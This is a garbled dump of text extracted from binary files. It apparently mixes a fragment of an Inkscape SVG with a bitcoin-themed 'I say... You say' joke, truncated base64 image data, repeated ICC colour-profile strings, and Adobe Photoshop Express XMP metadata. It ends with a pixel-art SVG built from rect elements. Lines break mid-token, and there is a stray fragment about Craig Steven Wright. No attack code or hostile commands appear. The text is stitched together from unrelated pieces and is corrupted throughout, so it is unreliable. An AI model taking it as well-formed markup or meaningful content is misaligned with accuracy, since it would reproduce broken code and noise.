             x="100.15116"
 y="20.260466" /><tspan
             sodipodi:role="line"
             style="stroke-width:0.264583"
             x="100.15116"
             y="40.580486"
             id="tspan421">I say: &quot;What's 1   of it?&quot;</tspan><tspan
             sodipodi:role="line"
             style="stroke-width:0.264583"
             x="100.15116"
             y="60.900505"
             id="tspan423"
             dy="5">You say: &quot;21 bitcoin.&quot;</tspan><tspan
             sodipodi:role="line"
             style="stroke-wM
             x="101.42722"
             y="81.220528"
             id="tspan425"> </tspan></text></g><use
         width="100%"
         height="100%"
         xlink:href="#img2-8"
         transform="matrix(0.18142854,0,0,0.18268947,116.3157,33.461219)"
         id="use431"
         style="fill:#ffe6d5"
         clip-path="url(#clipPath5794)" /><text
         xml:space="preserve"
         style="font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;font-size:3.88056px;line-heiM
ght:1.8;font-family:Calibri;-inkscape-font-specification:'Calibri, Normal';font-variant-ligatures:normal;font-variant-caps:normal;font-variant-numeric:normal;font-variant-east-asian:normal;text-align:center;letter-spacing:0.79375px;text-anchor:middle;white-space:pre;inline-size:47.668;display:inline;fill:#ffffff;stroke-width:0.264583"
         x="181.55344"
         y="108.34954"
         id="text415-4"
         transform="matrix(1,0,0,0.92758803,-81.491583,-94.547271)"><tspan
           x="181.55344"
           id="tspan2032">I_say...U_say..._#13</tspan></text><image
         width="10.572287"
         height="10.111822"
         preserveAspectRatio="none"
         xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAGQAAABkCAYAAABw4pVUAAAABHNCSVQICAgIfAhkiAAACs5JREFU eJztnVuMXVUZx39r7XObC50O0+nMnCltoQVaAVtupQWJQcQHohADGEnQGEVRLJeqiS9GBTUBfCid lgpSHjARIiHagBokqSZQ2kIba+VWGsEUOjNtpzO9zcy57b0+H85cembmnLnstc/smv1L5uHM2vvb 3+z/rNv3rbWOAoSI0KBn24GIUiJBQkYkSMiIBAkZkSAhIxIkZESChIxIkJARCRIyIkFCRiRIyIgM
E CRmRICEjEiRkxGbbgZlgnl5AIWcoiBBH4xkPR4GnHIwxxJUmE3OYe+/Hs+3qtFGEPB/S82gTNbVJ HEAQEFBKTfl+QVAolFKcJE/L2p7gnLVAKAUxW5rIZZIowIhMS4BKFAVVGAW1NTn03b1W7NokVIJk O9owSqGEomcBIkN/tXYMqe8fDvZh0yAUgmQ3pxFXEKWC1mEcRe0FpSUUwsyqIH2PNFJTW1N8KdVW YgzDLyHnxmlcd3DW/Jg1Qfo3teMYM/tKjEFE0EqRuq9rVp5fdUHkhU+ROXwCVODdhC9EhJTUoR/4 T1WfW1VB+h9rRqVi6JDVivIInnKpr+JQuWqCZNenMbFw14oJEVAxSN1bnSasKqGT3MYFiHMWigGg QNzi31ANAhfkVEcbRsxZqsYQCowYsuvTgT8qUEH6NzUTD7j3Vo0Xos69iMAVV2AcOP34/KAfE0wf YjYsJacHCPpFxW/agHPx7UjmGKZzF+6bjyHHPwzwiUKqpRH1lfcCsR5YM
Dcmq4MUA0Ok1AKiaeThL vwhudqQsdvl3cS77BqrpYovzHUXmyAlLtsYTSPg9uzGNCcLwGNScRahz2kc+y6mPkdOdQ4Ua58q1 qFRjsSxzjNyzq8HNWHl2tqOV1P32Qy3Wa4g8dQEiYqdu6Mr/L7p9Tcln07lztKxp2YgYAAwesyaG AkQpzIZzrdg7E+s1JFfIWmseEjdvQdUvwHTtwHTuxHS+iWT7RsorClKhzA6KnJOwbNOyINmONoxY 6jmUg06vhsQ5OPOW43z6WyCC9L6HObQD070bveDakltKBEmPFWSHDa9KEKM5uT5Nwzp7k0argojF Ea5uvhQS55T+UinUvEtw5l2Cs/LbpWX5flR9GzLYAyaPal99hmOC6dplybMSd0jE7A5SrQmS7WjD YC+fodPXTO+GRD2J27aCl8P07i/pP6TvAyTTV+HmmSMospvT1kIr1gQxlpNL7r5nMJ070Olr0Itv Qp93/dRudJLo+StKfycGnV6F6dqN7WmXAoxrzM
6aViWHPo03U1SQDTW3EVn6H2Gd+5suG9O7H/ecT eAe2gtgbmIvAQCZH84/95+itDHvrAxYDwDvwR982VNMy4jdtJHHHn4fCLXZQqvgObGBFEFHBR/DV 3CVly8wnr5N/8VbcN36BObitZLY+EXr+CpJ3/AV93met+SeW/iF9C2J+3WLDj0kZO68o8eHQdszh Pbh7nyT/8tfJPnMZhW0/QI5XyPbFa4vznMalljwUZFOzbyu+BRlMKotjq/JUFGTspK8wiPf+H8g9 fyPu3t+UNxqvJX7dT6z4p1AMGP8TRd+CONXIcTkJdOuVE5cVBjBH901cZlzcN35Z7MTLoBd9DpVs sOAkOBZGcL7fZjX6Dz1/JcRqJiwz3bvBuBXv9979fflC5aDmXuDHvRFsvAvfgihbvVkFptVcTYSl oOJk2Gi6fQlyfP2iqqRm9ZlhkDFMRZBK90MxbG+LE5sX+rrflyC1qnJTYQUnjm67euIyEUjUg1N+ DqCaluNcsbZsufQdQDM
L2Fl3XuJ6v+32FTvKOIRZwFanUf6AUiVueAzeLOfpv5Ng7xSRV/jQqXo9q uRxnyc1QIUxesX+ZAUb5iwD4EkQbDTrYTr1S/zFCLIVOr4L0qmnZNkf34b7z7Aw9mxil/HXLvu6O OcEnanX7tZNfNAPMJ69ReOku8ApW7SqfyWtfNcQz9jbTTIiOo9uumrisMIi772l061Xo1ivKN2tj kN73Kbz+c8yh7RYdHcVfD+K3ydIOIsE1Wbqlwvzj8B7cXY8VPzjxojDnfwHnwltRdeXDOappOc6l dxUnk/nT1n0WbxabLNcLtsma8vzDK2A6d+Juf4jcs6sovLq24lDWWfolEl9+cXxG0gLa5+TQlyBx nx3YZFQWpEyO3Lh4B/5E7vkb8T56pbzt5kuJX/+wXxfH4Rp/TbivN5qIOb4eXhFdbIYmpDCIOVIm fnXGNYW/fQ/p+6DsJc6y21B1rT6cHI8r/pKwvgRR934c2GYG3bIS4rUTlpnDe8BMYXTk5fHefa58M
 uXKmn7uvgAi+t8P5zqkP7wP3RbyO5FdfxfS8g+nciZz6hNjVD5a9fDprrCR7vPIFNRYXu1kILvoW RGnlu5Y4y+5ANSzGaVhcXJ87CdMRRLesqHxB7uSUbU2GjUCr/2ivz04MpYit+ObUrxeDTHG4qs69 CGf5nRWvMcfsrWL3OykECzUkqfNkJcZMw7564Q0V8+XjUJrknduQ/m5M1y7Mkb1I7/5iDCt7AqUc 1JwF6MWfJ3b5PWX7IQDp70Z6y3f600EQkjn/TZaVZUCDHekZrzrRbVfjLLsd3b5mesJYwN2zEXfX I5asCTX3dfu2YmWhnNLMWFbTvbuY9QNUXQu6fc3Qz3WouefbcG9i8qfx9m2xZs6zlKizIkgylSM7 6H9tlgwcwTuwdSQHrluvJHH7SxY8HE/htZ8imWNWbIlAJpOzYsvKVFvf3Tt6motFVMPiks/m4D9w 33gYc/DvkO+fmVHxcLc/hLf/Bf8OjtjEyqpFsLhhx/U/+h3H2NCJ9+FfcM
fc+Rf7lr1HY8asxDgxS 0QPjYQ5uI//iLbj/+q01HwVwjb2YnrXF1nPu72ago81qOH46G3IK236Ed3AbuuH84ja3VGMxU+hm kNOdSM/bSO6UNd+GUQhz1tnb2mZ1f4jjKcTBysIHVd9W0mRJfzdy8r/DpePF6toF+X5Mz9vQ87Z/ B6aAYD9hajVcm7K4k2j8Cx+tHapxCap2dNmmnPgQGThi7dlTRQuk7vc/1C2xadUakJSsnQ6+MFgS RKzu/sEpIEIymbJu1vqmT/1AH/2Pt6MdfztxvY9eKeYz4rXo1quQ3vdHn9Fefm9hNRCGNijd85F1 24Gd5OBn9j4ZOr0KvfCG4gRy/gpyv1td1SZLRKi13FQNE9i5vTWtc8kePh7IiXGm6y1M11vFD7HU pPtB7FI82CwoAj0vq39TM1riZ/VBQGdiBEQXAj3QLNCkeP3aHrRLCM49tYCAEyPw0+UC39yRWteF VvrsFkVAK12VU+WqcqJc8r5DFIaOCT/bEIG8V/M
wbqkFVD8GUTc2+klnVR0h6HvrBo1V7YlW/rkKt 7SFp6lABrna0wbB3qZbGqooBs3iQ8sCGNEoFvDZ4JojgGaH+wdk5dnxWjxo/vn4RNbEChhA0YkNv ISlZ9APBnIsyFcJxGP8TrYhRNlZ4TRuhOPN2YqpqZ/NWIhSCDJN9ohUztHo88JZMhs95tx+x9UOo BBnGbGliMDP6rTq26o2IFM/cApLRF7rMjCObmmkggYiUvNCpMLx3RZRCPKiLFVDRVx7Z58TmhcRc D0cZBA3i4QAMfSmYdhSZnGbuD6szmbPJWSnI/zPR9xiGjEiQkBEJEjIiQUJGJEjIiAQJGZEgISMS JGREgoSMSJCQEQkSMiJBQkYkSMiIBAkZ/wM0vszrVkCuyAAAAABJRU5ErkJggg== "
         id="image394-1"
         x="94.634789"
         y="15.895251" /></g></g><metadata
ta2470"><rdf:RDF><cc:Work
         rdf:about=""><dc:title>I_say...U_say..._#13</dc:title><dc:date>20230213</dc:date><dc:creator><cc:Agent><dc:title>bitliever.bitcoin</dc:title></cc:Agent></dc:creator></cc:Work></rdf:RDF></metadata></svg>
"-)#""#)8/////8A;;;;;;AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#1?1&&1?A?;/;?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2023-02-14T18:02:51+00:00?
2023-02-14T18:02:51+00:00N
2023-02-14T18:03:23+00:00kyG
((((((((((((((((((((((((((((((((((((((((((((((((((
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
v444444444444444444444444444444444446
x^x^x^x^x^x^x^x^x^x^x^
"-)#""#)8/////8A;;;;;;AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#1?1&&1?A?;/;?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
text/plain;charset=utf-8
LMCraig Steven Wright is
C. Both are correcth!
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
EJEJEJEJEJEJEJEJEJEJEJEJEJEJEJEJEU
pXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXY
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
!6!6!6!6!6!6!6!6!6!6!6!6!6!6!6!6!6!6!6!6!6!6!6!)
Adobe Photoshop Express (Android)
Samsung Galaxy S20 Rear Main Camera
,com.adobe.carousel.reference_size
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21        ">
 <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
  <rdf:Description rdf:about=""
    xmlns:xmp="http://ns.adobe.com/xap/1.0/"
    xmlns:aux="http://ns.adobe.com/exif/1.0/aux/"
    xmlns:exifEX="http://cipa.jp/exif/1.0/"
    xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
    xmlns:dc="http://purM
l.org/dc/elements/1.1/"
    xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
    xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
   xmp:CreatorTool="Adobe Photoshop Express (Android)"
   xmp:ModifyDate="2023-02-14T20:25:41+01:00"
   xmp:CreateDate="2022-10-31T09:05:25.0564+01:00"
   xmp:MetadataDate="2023-02-14T20:25:41+01:00"
   aux:Lens="Samsung Galaxy S20 Rear Main Camera"
   exifEX:LensModel="Samsung Galaxy S20 Rear Main Camera"
   photoshop:DateCreated="2022-10-31T09:05:25.0564+01:00"
   xmpMM:DocumentID="xmp.did:02c9a2b7-107a-4db5-aa29-651ba4672c52"
   xmpMM:InstanceID="xmp.iid:02c9a2b7-107a-4db5-aa29-651ba4672c52"
   xmpMM:OriginalDocumentID="xmp.did:02c9a2b7-107a-4db5-aa29-651ba4672c52">
      stEvt:action="derived"
      stEvt:parameters="saved to new location"/>
      stEvt:action="saved"
      stEvt:instanceID="xmp.iid:02c9a2b7-107a-4db5-aa29-651ba4672c52"
      stEvt:when="2023-02-14T20:25:41+01:00"
reAgent="Adobe Photoshop Express (Android)"
      stEvt:changed="/"/>
   <xmpMM:DerivedFrom rdf:parseType="Resource"/>
  </rdf:Description>








                                M





                                               M





                                                              M





                                                                             M





                                                                                            M










                     M


http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.diM
d:e0d18448-e896-5e43-a0da-1b9382b0ded8" xmpMM:DocumentID="xmp.did:154EDF4BAA3911EDA70DC4370234B675" xmpMM:InstanceID="xmp.iid:154EDF4AAA3911EDA70DC4370234B675" xmp:CreatorTool="Adobe Photoshop 22.0 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5ca6d904-7bd7-bb4f-b379-9e8b79efc1fa" stRef:documentID="adobe:docid:photoshop:60b063a4-3835-9344-8d90-1e6e724fd8d6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDDM
&6& &6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
RemasterDirector_5122f8b34
Adobe Photoshop Express (Android)
,com.adobe.carousel.reference_size
RemasterDirector_5122f8b34
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21        ">
 <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
  <rdf:Description rdf:about=""
    xmlns:dc="http://purl.org/dc/elements/1.1/"
    xmlns:xmp="http://ns.adobe.com/xap/1.0/"
    xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
    xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
    xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEM
   dc:format="image/jpeg"
   xmp:CreatorTool="Adobe Photoshop Express (Android)"
   xmp:ModifyDate="2023-02-14T21:16:14+01:00"
   xmp:CreateDate="2023-02-08T12:58:07.0535"
   xmp:MetadataDate="2023-02-14T21:16:14+01:00"
   photoshop:DateCreated="2023-02-08T12:58:07.0535+01:00"
   xmpMM:DocumentID="xmp.did:714ec52f-48a2-44d7-b1d4-57801e7a980f"
   xmpMM:InstanceID="xmp.iid:714ec52f-48a2-44d7-b1d4-57801e7a980f"
   xmpMM:OriginalDocumentID="xmp.did:714ec52f-48a2-44d7-b1d4-57801e7a980f">
     <rdf:li xml:lang="x-default">RemasterDirector_5122f8b34</rdf:li>
   </dc:description>
      stEvt:action="derived"
      stEvt:parameters="saved to new location"/>
      stEvt:action="saved"
      stEvt:instanceID="xmp.iid:714ec52f-48a2-44d7-b1d4-57801e7a980f"
      stEvt:when="2023-02-14T21:16:14+01:00"
      stEvt:softwareAgent="Adobe Photoshop Express (Android)"
      stEvt:changed="/"/>
<xmpMM:DerivedFrom rdf:parseType="Resource"/>
  </rdf:Description>




                        M





                                       M





                                                      M





                                                                     M





                                                                                    M




                                                                                                   M










                            M

"-)#""#)8/////8A;;;;;;AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#1?1&&1?A?;/;?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$$$***^^^			///'''FFFyyy|||RRR
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
'G"*@&,9,/222333555666777888999:::;;;<<<===>>>>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUUUUVVVXXXYYYZZZ[[[\\\]]]]]]^^^```aaabbbcccddddddfffggghhhiiijjjjjjlllmmmnnnooooooqqqrrrsssttttttvvvwwwxxxzzzzzz{{{|||~~~~~~
"5$&3*+000111222222333555666777888999:::;;;<<<===>>>>>>???@@M
@AAABBBCCCDDDEEEFFFGGGHHHJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUUUUVVVXXXYYYZZZ[[[\\\]]]]]]^^^```aaabbbcccddddddfffggghhhiiijjjjjjlllmmmnnnooooooqqqrrrsssttttttvvvwwwxxxzzzzzz{{{|||~~~~~~
<svg xmlns="http://www.w3.org/2000/svg" version="1.2" viewBox="0 0 24 24"><rect x="15" y="5" width="1" height="1" shape-rendering="crispEdges" fill="#1637a4ff"/><rect x="14" y="5" width="1" height="1" shape-rendering="crispEdges" fill="#1637a4ff"/><rect x="13" y="5" width="1" height="1" shape-rendering="crispEdges" fill="#1637a4ff"/><rect x="12" y="5" width="1" height="1" shape-rendering="crispEdges" fill="#1637a4ff"/><rect x="11" y="5" width="1" height="1" shape-rendering="crispEdges" fill="#1637a4ff"/><rect x="10M
" y="5" width="1" height="1" shape-rendering="crispEdges" fill="#1637a4ff"/><rect x="9" y="5" width="1" height="1" shape-rendering="crispEdges" fill="#1637a4ff"/><rect x="8" y="5" width="1" height="1" shape-rendering="crispEdges" fill="#1637a4ff"/><rect x="16" y="6" width="1" height="1" shape-rendering="crispEdges" fill="#1637a4ff"/><rect x="15" y="6" width="1" height="1" shape-rendering="crispEdges" fill="#1a43c8ff"/><rect x="14" y="6" width="1" height="1" shape-rendering="crispEdges" fill="#1a43c8ff"/><rect x="13M
" y="6" width="1" height="1" shape-rendering="crispEdges" fill="#1a43c8ff"/><rect x="12" y="6" width="1" height="1" shape-rendering="crispEdges" fill="#1a43c8ff"/><rect x="11" y="6" width="1" height="1" shape-rendering="crispEdges" fill="#1a43c8ff"/><rect x="10" y="6" width="1" height="1" shape-rendering="crispEdges" fill="#1a43c8ff"/><rect x="9" y="6" width="1" height="1" shape-rendering="crispEdges" fill="#1a43c8ff"/><rect x="8" y="6" width="1" height="1" shape-rendering="crispEdges" fill="#1a43c8ff"/><rect x="7"M
 y="6" width="1" height="1" shape-rendering="crispEdges" fill="#1637a4ff"/><rect x="17" y="7" width="1" height="1" shape-rendering="crispEdges" fill="#1637a4ff"/><rect x="16" y="7" width="1" height="1" shape-rendering="crispEdges" fill="#1a43c8ff"/><rect x="15" y="7" width="1" height="1" shape-rendering="crispEdges" fill="#1a43c8ff"/><rect x="14" y="7" width="1" height="1" shape-rendering="crispEdges" fill="#1a43c8ff"/><rect x="13" y="7" width="1" height="1" shape-rendering="crispEdges" fill="#1a43c8ff"/><rect x="1M
2" y="7" width="1" height="1" shape-rendering="crispEdges" fill="#1a43c8ff"/><rect x="11" y="7" width="1" height="1" shape-rendering="crispEdges" fill="#1a43c8ff"/><rect x="10" y="7" width="1" height="1" shape-rendering="crispEdges" fill="#1a43c8ff"/><rect x="9" y="7" width="1" height="1" shape-rendering="crispEdges" fill="#1a43c8ff"/><rect x="8" y="7" width="1" height="1" shape-rendering="crispEdges" fill="#1a43c8ff"/><rect x="7" y="7" width="1" height="1" shape-rendering="crispEdges" fill="#1637a4ff"/><rect x="21M
" y="8" width="1" height="1" shape-rendering="crispEdges" fill="#1a43c8ff"/><rect x="20" y="8" width="1" height="1" shape-rendering="crispEdges" fill="#1637a4ff"/><rect x="19" y="8" width="1" height="1" shape-rendering="crispEdges" fill="#1a43c8ff"/><rect x="18" y="8" width="1" height="1" shape-rendering="crispEdges" fill="#1637a4ff"/><rect x="17" y="8" width="1" height="1" shape-rendering="crispEdges" fill="#142c7cff"/><rect x="16" y="8" width="1" height="1" shape-rendering="crispEdges" fill="#1a43c8ff"/><rect x="M
15" y="8" width="1" height="1" shape-rendering="crispEdges" fill="#1637a4ff"/><rect x="14" y="8" width="1" height="1" shape-rendering="crispEdges" fill="#1637a4ff"/><rect x="13" y="8" width="1" height="1" shape-rendering="crispEdges" fill="#1637a4ff"/><rect x="12" y="8" width="1" height="1" shape-rendering="crispEdges" fill="#1637a4ff"/><rect x="11" y="8" width="1" height="1" shape-rendering="crispEdges" fill="#1a43c8ff"/><rect x="10" y="8" width="1" height="1" shape-rendering="crispEdges" fill="#1a43c8ff"/><rect xM
="9" y="8" width="1" height="1" shape-rendering="crispEdges" fill="#1a43c8ff"/><rect x="8" y="8" width="1" height="1" shape-rendering="crispEdges" fill="#1637a4ff"/><rect x="7" y="8" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="20" y="9" width="1" height="1" shape-rendering="crispEdges" fill="#1a43c8ff"/><rect x="19" y="9" width="1" height="1" shape-rendering="crispEdges" fill="#1637a4ff"/><rect x="18" y="9" width="1" height="1" shape-rendering="crispEdges" fill="#142c7cff"/><rect x=M
"17" y="9" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="16" y="9" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="15" y="9" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="14" y="9" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="13" y="9" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="12" y="9" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect M
x="11" y="9" width="1" height="1" shape-rendering="crispEdges" fill="#1637a4ff"/><rect x="10" y="9" width="1" height="1" shape-rendering="crispEdges" fill="#1637a4ff"/><rect x="9" y="9" width="1" height="1" shape-rendering="crispEdges" fill="#1637a4ff"/><rect x="8" y="9" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="7" y="9" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="20" y="10" width="1" height="1" shape-rendering="crispEdges" fill="#1a43c8ff"/><rect M
x="19" y="10" width="1" height="1" shape-rendering="crispEdges" fill="#142c7cff"/><rect x="17" y="10" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="16" y="10" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="15" y="10" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="14" y="10" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="13" y="10" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"M
/><rect x="12" y="10" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="11" y="10" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="10" y="10" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="9" y="10" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="8" y="10" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="7" y="10" width="1" height="1" shape-rendering="crispEdges" fill="#0000M
00ff"/><rect x="20" y="11" width="1" height="1" shape-rendering="crispEdges" fill="#1a43c8ff"/><rect x="18" y="11" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="17" y="11" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="16" y="11" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="15" y="11" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="14" y="11" width="1" height="1" shape-rendering="crispEdges" filM
l="#000000ff"/><rect x="13" y="11" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="12" y="11" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="11" y="11" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="10" y="11" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="9" y="11" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="8" y="11" width="1" height="1" shape-rendering="crispEdgeM
s" fill="#000000ff"/><rect x="7" y="11" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="6" y="11" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="19" y="12" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="18" y="12" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="17" y="12" width="1" height="1" shape-rendering="crispEdges" fill="#9be0e0ff"/><rect x="16" y="12" width="1" height="1" shape-rendering="criM
spEdges" fill="#c8fbfbff"/><rect x="15" y="12" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="14" y="12" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="13" y="12" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="12" y="12" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="11" y="12" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="10" y="12" width="1" height="1" shape-renderM
ing="crispEdges" fill="#c8fbfbff"/><rect x="9" y="12" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="8" y="12" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="7" y="12" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="6" y="12" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="18" y="13" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="17" y="13" width="1" height="1" shape-reM
ndering="crispEdges" fill="#c8fbfbff"/><rect x="16" y="13" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="15" y="13" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="14" y="13" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="13" y="13" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="12" y="13" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="11" y="13" width="1" height="1" M
shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="10" y="13" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="9" y="13" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="8" y="13" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="7" y="13" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="18" y="14" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="17" y="14" width="1" heightM
="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="16" y="14" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="15" y="14" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="14" y="14" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="13" y="14" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="12" y="14" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="11" y="14" width="1M
" height="1" shape-rendering="crispEdges" fill="#9be0e0ff"/><rect x="10" y="14" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="9" y="14" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="8" y="14" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="7" y="14" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="17" y="15" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="16" y="15" widM
